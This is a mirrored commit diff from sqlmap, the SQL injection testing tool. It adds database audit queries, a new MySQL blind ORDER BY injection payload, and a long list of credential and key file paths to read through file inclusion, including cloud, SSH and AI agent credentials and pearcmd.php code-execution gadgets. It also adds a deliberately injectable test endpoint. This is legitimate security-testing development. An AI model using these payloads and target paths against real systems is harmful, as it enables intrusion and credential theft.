mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-11-20 07:00:25 +00:00
Compare commits
126 commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
5db2e62884 | ||
|
|
8b78b676c1 | ||
|
|
f84b7fb70a | ||
|
|
f4a4ae5027 | ||
|
|
bd8df65b53 | ||
|
|
70702c2ce3 | ||
|
|
3325240680 | ||
|
|
498553d04e | ||
|
|
c12c457ac1 | ||
|
|
d115a0a4cf | ||
|
|
b3608f33ca | ||
|
|
6f06df414b | ||
|
|
32edb6a45e | ||
|
|
2351bd82dd | ||
|
|
6206e15d13 | ||
|
|
937f2b11b1 | ||
|
|
e2c36885f0 | ||
|
|
910fccb65e | ||
|
|
2bfb53876c | ||
|
|
26cb5cdc31 | ||
|
|
c0e75fa98d | ||
|
|
2de056aa14 | ||
|
|
04f0987e81 | ||
|
|
cdb787faea | ||
|
|
60dcd8bbb0 | ||
|
|
6fb39709f2 | ||
|
|
ed8ad1ec77 | ||
|
|
9d5259ff98 | ||
|
|
175dc5dfa4 | ||
|
|
5a2fda4d27 | ||
|
|
c209a97131 | ||
|
|
11d3ee00e6 | ||
|
|
4f94d69783 | ||
|
|
b6761e1825 | ||
|
|
3fdf005874 | ||
|
|
8eacffa226 | ||
|
|
4b8c39e424 | ||
|
|
ca2e847ef6 | ||
|
|
d0fc7512df | ||
|
|
d646b00ceb | ||
|
|
ca698bb7ec | ||
|
|
2530de4c1f | ||
|
|
71907c80fe | ||
|
|
563066e4f5 | ||
|
|
76351cdbd5 | ||
|
|
4df83fe737 | ||
|
|
057e614500 | ||
|
|
3ab05cade0 | ||
|
|
f1c718c01c | ||
|
|
d4d2d1a315 | ||
|
|
b85cd4cc15 | ||
|
|
d1ceaf9365 | ||
|
|
445516b151 | ||
|
|
7944f0e7e8 | ||
|
|
7827b2c389 | ||
|
|
b48a14a63b | ||
|
|
04db324b01 | ||
|
|
d49202eaf1 | ||
|
|
04e1162d5a | ||
|
|
fec03cf662 | ||
|
|
da5c2c66c6 | ||
|
|
fe6f6c48c3 | ||
|
|
dd6356c277 | ||
|
|
c129692040 | ||
|
|
7b8e03ef3e | ||
|
|
e85b1bbd9d | ||
|
|
b6c4f880a5 | ||
|
|
167956b61c | ||
|
|
3f7f87750a | ||
|
|
eda9b00185 | ||
|
|
6aa218f720 | ||
|
|
77a31ee595 | ||
|
|
c8422bf1f6 | ||
|
|
9fa2abb5dd | ||
|
|
d55d163352 | ||
|
|
54c5a6582b | ||
|
|
a7a9d7a8fe | ||
|
|
f9e53443ed | ||
|
|
3c2384525c | ||
|
|
161af41c9c | ||
|
|
cb5216564a | ||
|
|
eca9ff2e13 | ||
|
|
397a3bde2e | ||
|
|
097f4d2c37 | ||
|
|
202d8cc1c4 | ||
|
|
f65de0e890 | ||
|
|
b333a14d8b | ||
|
|
74f50122fb | ||
|
|
bf8b9956e0 | ||
|
|
8476cf4d09 | ||
|
|
3130623afc | ||
|
|
c15f4bf055 | ||
|
|
9cd0619e2b | ||
|
|
6faa9bb929 | ||
|
|
2ff5db17ba | ||
|
|
c42ebd7acf | ||
|
|
2d046c1a75 | ||
|
|
f8a42cf016 | ||
|
|
81d17b1ad2 | ||
|
|
083d9d0e6f | ||
|
|
a01582b83f | ||
|
|
94f8cf8136 | ||
|
|
6a94f23251 | ||
|
|
6df778743f | ||
|
|
6e06114947 | ||
|
|
c9745f883d | ||
|
|
11afdcb026 | ||
|
|
5b8a2faab1 | ||
|
|
da21091459 | ||
|
|
5e2a6aeec8 | ||
|
|
8461fd402b | ||
|
|
9b0e262560 | ||
|
|
d57415479a | ||
|
|
d0ad9b2e34 | ||
|
|
6530184e2c | ||
|
|
e90078184d | ||
|
|
559d6f4543 | ||
|
|
71af9b3d8a | ||
|
|
516f55935c | ||
|
|
b208262c37 | ||
|
|
9a1660aa12 | ||
|
|
0cf2f6db07 | ||
|
|
c94f6d0041 | ||
|
|
5b180533c1 | ||
|
|
2c6e4d85b5 | ||
|
|
1b1f93ae5c |
111 changed files with 3751 additions and 301 deletions
7
.github/workflows/tests.yml
vendored
7
.github/workflows/tests.yml
vendored
|
|
@ -97,13 +97,14 @@ jobs:
|
|||
- name: Basic import test
|
||||
run: python -c "import sqlmap; import sqlmapapi"
|
||||
|
||||
- name: Install optional test deps (lxml, jinja2)
|
||||
- name: Install optional test deps (lxml, jinja2, h2, cryptography)
|
||||
# lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
|
||||
# tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
|
||||
# endpoints) skip themselves when the engine is unavailable, so these deps are only needed
|
||||
# on the Py3 jobs.
|
||||
# on the Py3 jobs. Same for h2/cryptography (vulnserver's HTTP/2 endpoint for --timeless and
|
||||
# the reference-peer checks in test_http2).
|
||||
if: matrix.python-version != 'pypy-2.7'
|
||||
run: python -m pip install -q lxml jinja2
|
||||
run: python -m pip install -q lxml jinja2 h2 cryptography
|
||||
|
||||
- name: Unit tests
|
||||
# -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
|
||||
|
|
|
|||
5
data/procs/mssqlserver/audit_configuration.sql
Normal file
5
data/procs/mssqlserver/audit_configuration.sql
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT name AS audit_key,CASE WHEN value_in_use IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),value_in_use) END AS audit_value
|
||||
FROM master.sys.configurations
|
||||
WHERE name IN ('xp_cmdshell','clr enabled','Ole Automation Procedures','Ad Hoc Distributed Queries')
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
11
data/procs/mssqlserver/audit_identity.sql
Normal file
11
data/procs/mssqlserver/audit_identity.sql
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective database user' AS audit_key,CASE WHEN CURRENT_USER IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),CURRENT_USER) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'effective login' AS audit_key,CASE WHEN SUSER_SNAME() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),SUSER_SNAME()) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'original login' AS audit_key,CASE WHEN ORIGINAL_LOGIN() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),ORIGINAL_LOGIN()) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'database' AS audit_key,CASE WHEN DB_NAME() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),DB_NAME()) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'sysadmin' AS audit_key,CASE WHEN IS_SRVROLEMEMBER('sysadmin') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),IS_SRVROLEMEMBER('sysadmin')) END AS audit_value
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
6
data/procs/mssqlserver/audit_links.sql
Normal file
6
data/procs/mssqlserver/audit_links.sql
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT N'visible linked servers' AS audit_key,N'V'+CONVERT(NVARCHAR(MAX),COUNT(*)) AS audit_value FROM master.sys.servers WHERE is_linked=1
|
||||
UNION ALL
|
||||
SELECT N'link '+CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT AS audit_key,N'V'+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'<unknown>')+N' (data access: '+RTRIM(CASE is_data_access_enabled WHEN 1 THEN N'enabled' WHEN 0 THEN N'disabled' ELSE N'unavailable' END)+N'; RPC out: '+RTRIM(CASE is_rpc_out_enabled WHEN 1 THEN N'enabled' WHEN 0 THEN N'disabled' ELSE N'unavailable' END)+N')' AS audit_value
|
||||
FROM master.sys.servers v WHERE is_linked=1 AND (SELECT COUNT(*) FROM master.sys.servers s WHERE s.is_linked=1 AND s.server_id<=v.server_id)<=%LIMIT%
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
7
data/procs/mssqlserver/audit_permissions.sql
Normal file
7
data/procs/mssqlserver/audit_permissions.sql
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'execute xp_cmdshell' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.dbo.xp_cmdshell','OBJECT','EXECUTE') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.dbo.xp_cmdshell','OBJECT','EXECUTE')) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'read configuration metadata' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.sys.configurations','OBJECT','SELECT') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.sys.configurations','OBJECT','SELECT')) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'read linked-server metadata' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.sys.servers','OBJECT','SELECT') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.sys.servers','OBJECT','SELECT')) END AS audit_value
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
5
data/procs/mysql/audit_configuration.sql
Normal file
5
data/procs/mysql/audit_configuration.sql
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT LOWER(VARIABLE_NAME) AS audit_key,CASE WHEN VARIABLE_VALUE IS NULL THEN 'N' ELSE CONCAT('V',VARIABLE_VALUE) END AS audit_value
|
||||
FROM performance_schema.global_variables
|
||||
WHERE LOWER(VARIABLE_NAME) IN ('local_infile','require_secure_transport','read_only','super_read_only','general_log','log_bin','skip_networking','skip_grant_tables')
|
||||
) audit_rows ORDER BY audit_key
|
||||
5
data/procs/mysql/audit_configuration_mariadb.sql
Normal file
5
data/procs/mysql/audit_configuration_mariadb.sql
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT LOWER(VARIABLE_NAME) AS audit_key,CASE WHEN VARIABLE_VALUE IS NULL THEN 'N' ELSE CONCAT('V',VARIABLE_VALUE) END AS audit_value
|
||||
FROM information_schema.GLOBAL_VARIABLES
|
||||
WHERE LOWER(VARIABLE_NAME) IN ('local_infile','require_secure_transport','read_only','super_read_only','general_log','log_bin','skip_networking','skip_grant_tables')
|
||||
) audit_rows ORDER BY audit_key
|
||||
5
data/procs/mysql/audit_file_access.sql
Normal file
5
data/procs/mysql/audit_file_access.sql
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'secure_file_priv' AS audit_key,CASE WHEN @@GLOBAL.secure_file_priv IS NULL THEN 'N' ELSE CONCAT('V',CAST(@@GLOBAL.secure_file_priv AS CHAR)) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'max_allowed_packet' AS audit_key,CASE WHEN @@GLOBAL.max_allowed_packet IS NULL THEN 'N' ELSE CONCAT('V',CAST(@@GLOBAL.max_allowed_packet AS CHAR)) END AS audit_value
|
||||
) audit_rows ORDER BY audit_key
|
||||
7
data/procs/mysql/audit_identity.sql
Normal file
7
data/procs/mysql/audit_identity.sql
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective account' AS audit_key,CASE WHEN CURRENT_USER() IS NULL THEN 'N' ELSE CONCAT('V',CAST(CURRENT_USER() AS CHAR)) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'login identity' AS audit_key,CASE WHEN USER() IS NULL THEN 'N' ELSE CONCAT('V',CAST(USER() AS CHAR)) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'server version' AS audit_key,CASE WHEN VERSION() IS NULL THEN 'N' ELSE CONCAT('V',CAST(VERSION() AS CHAR)) END AS audit_value
|
||||
) audit_rows ORDER BY audit_key
|
||||
5
data/procs/mysql/audit_privileges.sql
Normal file
5
data/procs/mysql/audit_privileges.sql
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'direct FILE grant' AS audit_key,CONCAT('V',CAST(COUNT(*) AS CHAR)) AS audit_value
|
||||
FROM information_schema.USER_PRIVILEGES
|
||||
WHERE PRIVILEGE_TYPE='FILE' AND GRANTEE=CONCAT(CHAR(39),LEFT(CURRENT_USER(),LENGTH(CURRENT_USER())-LENGTH(SUBSTRING_INDEX(CURRENT_USER(),'@',-1))-1),CHAR(39),'@',CHAR(39),SUBSTRING_INDEX(CURRENT_USER(),'@',-1),CHAR(39))
|
||||
) audit_rows ORDER BY audit_key
|
||||
5
data/procs/oracle/audit_configuration.sql
Normal file
5
data/procs/oracle/audit_configuration.sql
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT name AS audit_key,CASE WHEN value IS NULL THEN 'N' ELSE 'V'||value END AS audit_value
|
||||
FROM v$parameter
|
||||
WHERE name IN ('remote_os_authent','remote_login_passwordfile','sql92_security','audit_trail','os_authent_prefix')
|
||||
) audit_rows ORDER BY audit_key
|
||||
12
data/procs/oracle/audit_directories.sql
Normal file
12
data/procs/oracle/audit_directories.sql
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'visible directory grants' AS audit_key,'V'||TO_CHAR(COUNT(*)) AS audit_value
|
||||
FROM all_directories d JOIN all_tab_privs p ON p.table_schema=d.owner AND p.table_name=d.directory_name
|
||||
WHERE p.type='DIRECTORY' AND p.privilege IN ('READ','WRITE') AND (p.grantee=SYS_CONTEXT('USERENV','CURRENT_USER') OR p.grantee='PUBLIC' OR p.grantee IN (SELECT role FROM session_roles))
|
||||
UNION ALL
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT d.directory_name||' ['||p.privilege||'] (via '||p.grantee||')' AS audit_key,'V'||d.directory_path AS audit_value
|
||||
FROM all_directories d JOIN all_tab_privs p ON p.table_schema=d.owner AND p.table_name=d.directory_name
|
||||
WHERE p.type='DIRECTORY' AND p.privilege IN ('READ','WRITE') AND (p.grantee=SYS_CONTEXT('USERENV','CURRENT_USER') OR p.grantee='PUBLIC' OR p.grantee IN (SELECT role FROM session_roles))
|
||||
ORDER BY d.directory_name,p.privilege,p.grantee
|
||||
) audit_details WHERE ROWNUM<=%LIMIT%
|
||||
) audit_rows ORDER BY audit_key
|
||||
9
data/procs/oracle/audit_identity.sql
Normal file
9
data/procs/oracle/audit_identity.sql
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective account' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','CURRENT_USER') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','CURRENT_USER')) END AS audit_value FROM DUAL
|
||||
UNION ALL
|
||||
SELECT 'login identity' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','SESSION_USER') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','SESSION_USER')) END AS audit_value FROM DUAL
|
||||
UNION ALL
|
||||
SELECT 'database' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','DB_NAME') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','DB_NAME')) END AS audit_value FROM DUAL
|
||||
UNION ALL
|
||||
SELECT 'SYSDBA session' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','ISDBA') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','ISDBA')) END AS audit_value FROM DUAL
|
||||
) audit_rows ORDER BY audit_key
|
||||
5
data/procs/oracle/audit_privileges.sql
Normal file
5
data/procs/oracle/audit_privileges.sql
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'DBA role active' AS audit_key,'V'||CASE WHEN COUNT(*)>0 THEN 'yes' ELSE 'no' END AS audit_value FROM session_roles WHERE role='DBA'
|
||||
UNION ALL
|
||||
SELECT privilege,'Vgranted' FROM session_privs WHERE privilege IN ('CREATE ANY DIRECTORY','CREATE EXTERNAL JOB','EXECUTE ANY PROCEDURE','ALTER SYSTEM','SELECT ANY DICTIONARY')
|
||||
) audit_rows ORDER BY audit_key
|
||||
5
data/procs/postgresql/audit_configuration.sql
Normal file
5
data/procs/postgresql/audit_configuration.sql
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT name AS audit_key,CASE WHEN setting IS NULL THEN 'N' ELSE 'V'||setting END AS audit_value
|
||||
FROM pg_catalog.pg_settings
|
||||
WHERE name IN ('ssl','password_encryption','row_security','logging_collector','log_statement','log_connections','log_disconnections')
|
||||
) audit_rows ORDER BY audit_key
|
||||
7
data/procs/postgresql/audit_identity.sql
Normal file
7
data/procs/postgresql/audit_identity.sql
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective account' AS audit_key,CASE WHEN CURRENT_USER IS NULL THEN 'N' ELSE 'V'||CAST(CURRENT_USER AS TEXT) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'login identity' AS audit_key,CASE WHEN SESSION_USER IS NULL THEN 'N' ELSE 'V'||CAST(SESSION_USER AS TEXT) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'database' AS audit_key,CASE WHEN CURRENT_DATABASE() IS NULL THEN 'N' ELSE 'V'||CAST(CURRENT_DATABASE() AS TEXT) END AS audit_value
|
||||
) audit_rows ORDER BY audit_key
|
||||
7
data/procs/postgresql/audit_privileges.sql
Normal file
7
data/procs/postgresql/audit_privileges.sql
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'superuser' AS audit_key,'V'||CASE WHEN rolsuper THEN '1' ELSE '0' END AS audit_value FROM pg_catalog.pg_roles WHERE rolname=CURRENT_USER
|
||||
UNION ALL
|
||||
SELECT 'bypass RLS','V'||CASE WHEN rolbypassrls THEN '1' ELSE '0' END FROM pg_catalog.pg_roles WHERE rolname=CURRENT_USER
|
||||
UNION ALL
|
||||
SELECT rolname,'V'||CASE WHEN pg_has_role(oid,'USAGE') THEN '1' ELSE '0' END FROM pg_catalog.pg_roles WHERE rolname IN ('pg_read_server_files','pg_write_server_files','pg_execute_server_program')
|
||||
) audit_rows ORDER BY audit_key
|
||||
|
|
@ -1818,6 +1818,8 @@
|
|||
/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||
/etc/kubernetes/admin.conf
|
||||
/etc/kubernetes/kubelet.conf
|
||||
|
||||
# Cloud provider credentials
|
||||
|
||||
|
|
@ -1825,7 +1827,9 @@
|
|||
/root/.aws/config
|
||||
/root/.config/gcloud/application_default_credentials.json
|
||||
/root/.config/gcloud/credentials.db
|
||||
/root/.config/gcloud/access_tokens.db
|
||||
/root/.azure/accessTokens.json
|
||||
/root/.azure/credentials
|
||||
/root/.kube/config
|
||||
|
||||
# SSH keys and DB/tool history
|
||||
|
|
@ -1834,6 +1838,10 @@
|
|||
/root/.ssh/id_ed25519
|
||||
/root/.ssh/id_ecdsa
|
||||
/root/.ssh/id_dsa
|
||||
/root/.ssh/config
|
||||
/etc/ssh/ssh_host_rsa_key
|
||||
/etc/ssh/ssh_host_ed25519_key
|
||||
/etc/ssh/ssh_host_ecdsa_key
|
||||
/root/.mysql_history
|
||||
/root/.psql_history
|
||||
/root/.rediscli_history
|
||||
|
|
@ -1852,3 +1860,60 @@
|
|||
/app/application.properties
|
||||
/app/application.yml
|
||||
/app/docker-compose.yml
|
||||
|
||||
# Developer, package manager and DBMS credential files
|
||||
|
||||
/root/.env
|
||||
/root/.netrc
|
||||
/root/.git-credentials
|
||||
/root/.npmrc
|
||||
/root/.pypirc
|
||||
/root/.docker/config.json
|
||||
/root/.config/gh/hosts.yml
|
||||
/root/.config/op/config
|
||||
/root/.my.cnf
|
||||
/etc/mysql/debian.cnf
|
||||
|
||||
# Hosting control panels
|
||||
|
||||
/etc/psa/.psa.shadow
|
||||
/etc/psa/private/secret_key
|
||||
|
||||
# AI agent credentials
|
||||
|
||||
/root/.claude/.credentials.json
|
||||
/root/.claude.json
|
||||
/root/.codex/auth.json
|
||||
/root/.config/anthropic/config.json
|
||||
|
||||
# Secrets in the default user's home on common cloud images
|
||||
|
||||
/home/ubuntu/.ssh/id_rsa
|
||||
/home/ubuntu/.aws/credentials
|
||||
/home/ubuntu/.kube/config
|
||||
/home/ubuntu/.git-credentials
|
||||
/home/ubuntu/.claude/.credentials.json
|
||||
/home/debian/.ssh/id_rsa
|
||||
/home/debian/.aws/credentials
|
||||
/home/debian/.kube/config
|
||||
/home/debian/.git-credentials
|
||||
/home/admin/.ssh/id_rsa
|
||||
/home/admin/.aws/credentials
|
||||
/home/admin/.kube/config
|
||||
/home/admin/.git-credentials
|
||||
/home/ec2-user/.ssh/id_rsa
|
||||
/home/ec2-user/.aws/credentials
|
||||
/home/ec2-user/.kube/config
|
||||
/home/ec2-user/.git-credentials
|
||||
/home/centos/.ssh/id_rsa
|
||||
/home/centos/.aws/credentials
|
||||
/home/centos/.kube/config
|
||||
/home/opc/.ssh/id_rsa
|
||||
/home/opc/.aws/credentials
|
||||
/home/opc/.kube/config
|
||||
|
||||
# Appliance and LFI-to-RCE gadget targets
|
||||
|
||||
/dev/cmdb/sslvpn_websession
|
||||
/usr/share/php/pearcmd.php
|
||||
/usr/local/lib/php/pearcmd.php
|
||||
|
|
|
|||
|
|
@ -1365,6 +1365,27 @@ Tag: <test>
|
|||
</details>
|
||||
</test>
|
||||
|
||||
<!-- No parentheses or functions (e.g. value-wide character whitelists, #6145): TRUE keeps the original
|
||||
sort column, FALSE raises a runtime regular expression error ('(' pattern) -->
|
||||
<test>
|
||||
<title>MySQL boolean-based blind - ORDER BY clause (RLIKE)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>3</where>
|
||||
<vector>CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END</vector>
|
||||
<request>
|
||||
<payload>CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- Works in MySQL, Oracle, etc. -->
|
||||
<test>
|
||||
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
||||
|
|
|
|||
|
|
@ -173,6 +173,10 @@
|
|||
</dbms>
|
||||
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<links>
|
||||
<inband query="SELECT CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT+N' -> '+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'<unknown>') FROM master.sys.servers WHERE is_linked=1 ORDER BY server_id"/>
|
||||
<blind query="SELECT link_name FROM (SELECT CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT+N' -> '+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'<unknown>') AS link_name,ROW_NUMBER() OVER (ORDER BY server_id) AS rn FROM master.sys.servers WHERE is_linked=1) AS links WHERE rn=%d+1" count="SELECT COUNT(*) FROM master.sys.servers WHERE is_linked=1"/>
|
||||
</links>
|
||||
<cast query="CAST(%s AS NVARCHAR(MAX))"/>
|
||||
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
|
||||
<isnull query="ISNULL(%s,' ')"/>
|
||||
|
|
@ -253,6 +257,10 @@
|
|||
</dbms>
|
||||
|
||||
<dbms value="Oracle">
|
||||
<links>
|
||||
<inband query="SELECT OWNER||'.'||DB_LINK||' -> '||NVL(HOST,'<unknown>') FROM ALL_DB_LINKS ORDER BY OWNER,DB_LINK"/>
|
||||
<blind query="SELECT link_name FROM (SELECT OWNER||'.'||DB_LINK||' -> '||NVL(HOST,'<unknown>') AS link_name,ROW_NUMBER() OVER (ORDER BY OWNER,DB_LINK) AS rn FROM ALL_DB_LINKS) WHERE rn=%d+1" count="SELECT COUNT(*) FROM ALL_DB_LINKS"/>
|
||||
</links>
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="NVL(%s,' ')"/>
|
||||
|
|
@ -1931,7 +1939,7 @@
|
|||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT CASE table_schema WHEN '' THEN 'default' ELSE table_schema END,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
|
||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name,spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
|
||||
|
|
|
|||
|
|
@ -18,13 +18,14 @@ declare -x SCRIPTPATH="${0}"
|
|||
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
|
||||
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
|
||||
|
||||
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
|
||||
git diff HEAD -- $SETTINGS_FULLPATH | grep "^+VERSION =" > /dev/null && exit 0 # Note: manually set VERSION (staged or not, e.g. "git commit -a") is kept as is
|
||||
|
||||
if [ -f $SETTINGS_FULLPATH ]
|
||||
then
|
||||
LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"')
|
||||
# Note: a new month restarts the counter (i.e. '.0' gets tagged by post-commit hook), while a version already a month ahead (early release) just keeps counting
|
||||
declare -a LINE
|
||||
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
|
||||
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = time.gmtime().tm_mon; _[-2:] = _[-2:] if (int(_[-2]) - month) % 12 in (0, 1) else [str(month), '0']; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
|
||||
if [ -n "$INCREMENTED" ]
|
||||
then
|
||||
sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
|
||||
|
|
|
|||
|
|
@ -1227,7 +1227,8 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||
params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
|
||||
else:
|
||||
self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';'
|
||||
params.update(parse_qs(self.data))
|
||||
# Note: parsing the raw (i.e. not yet URL decoded) body, otherwise encoded '&'/'=' inside values would split them
|
||||
params.update(parse_qs((getattr(self, "rawData", None) or self.data).replace(';', '&')))
|
||||
|
||||
for name in self.headers:
|
||||
params[name.lower()] = self.headers[name]
|
||||
|
|
@ -1491,6 +1492,22 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||
self.wfile.write(json.dumps({"error": {"message": str(ex)}}).encode(UNICODE_ENCODING))
|
||||
return
|
||||
|
||||
if self.url == "/list":
|
||||
# VULNERABLE: listing page whose (number of) rows depends on the injected 'min' value (e.g. for --multi-bit)
|
||||
try:
|
||||
with _lock:
|
||||
_cursor.execute("SELECT id,name FROM users WHERE id>%s ORDER BY id" % self.params.get("min", "0"))
|
||||
rows = _cursor.fetchall()
|
||||
output = "<html><body><ul>%s</ul></body></html>" % "".join("<li><a href=\"/?id=%s\">%s</a></li>" % (row[0], row[1]) for row in rows)
|
||||
except Exception:
|
||||
output = "<html><body>error</body></html>"
|
||||
self.send_response(OK)
|
||||
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||
self.send_header("Connection", "close")
|
||||
self.end_headers()
|
||||
